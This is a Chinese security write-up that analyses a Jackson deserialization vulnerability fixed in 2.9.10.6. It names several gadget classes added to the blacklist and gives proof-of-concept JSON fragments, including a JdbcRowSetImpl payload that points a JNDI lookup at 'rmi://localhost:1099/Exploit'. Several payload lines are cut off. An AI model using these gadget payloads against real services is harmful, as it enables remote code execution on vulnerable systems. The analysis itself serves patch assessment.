Author:平安银行应用安全团队@Glassy
引言
今天又看到有一些安全预警平台爆出的Jackson反序列漏洞,要求把Jackson升级到2.9.10.6,所以在下面对漏洞原理和适用范围做一下分析,并给出poc。
补丁分析
补丁特别简单,也如同漏洞公告一样,增加了几处黑名单。
POC构造
br.com.anteros.dbcp.AnterosDBCPDataSource
先看一下该jar包的maven引用次数
再构造poc(原理简单,不做细节描述)
["br.com.anteros.dbcp.AnterosDBCPDataSource",
com.pastdev.httpcomponents.configuration.JndiConfiguration
先看一下该jar包的maven引用次数
再构造poc
["com.pastdev.httpcomponents.configuration.JndiConfiguration",
com.nqadmin.rowset.JdbcRowSetImpl
先看一下该jar包的maven引用次数
再构造poc
["com.nqadmin.rowset.JdbcRowSetImpl",{"dataSourceName":"rmi://localhost:1099/Exploit",
org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl
先看一下该jar包的maven引用次数
再构造poc
["org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl",
注意:这一条poc实际上是不可用的,其原因在于该类中因为存在重名函数导致的jackson在反序列化的时候会报同名函数冲突。这是一个原理层面可用,实际不可用的poc。
总结
1. 利用成功需要enableDefaultTyping;
2. Gadget的jar极其罕见。
结论:基本没什么用,不必大惊小怪,不放心请用poc自行去测试。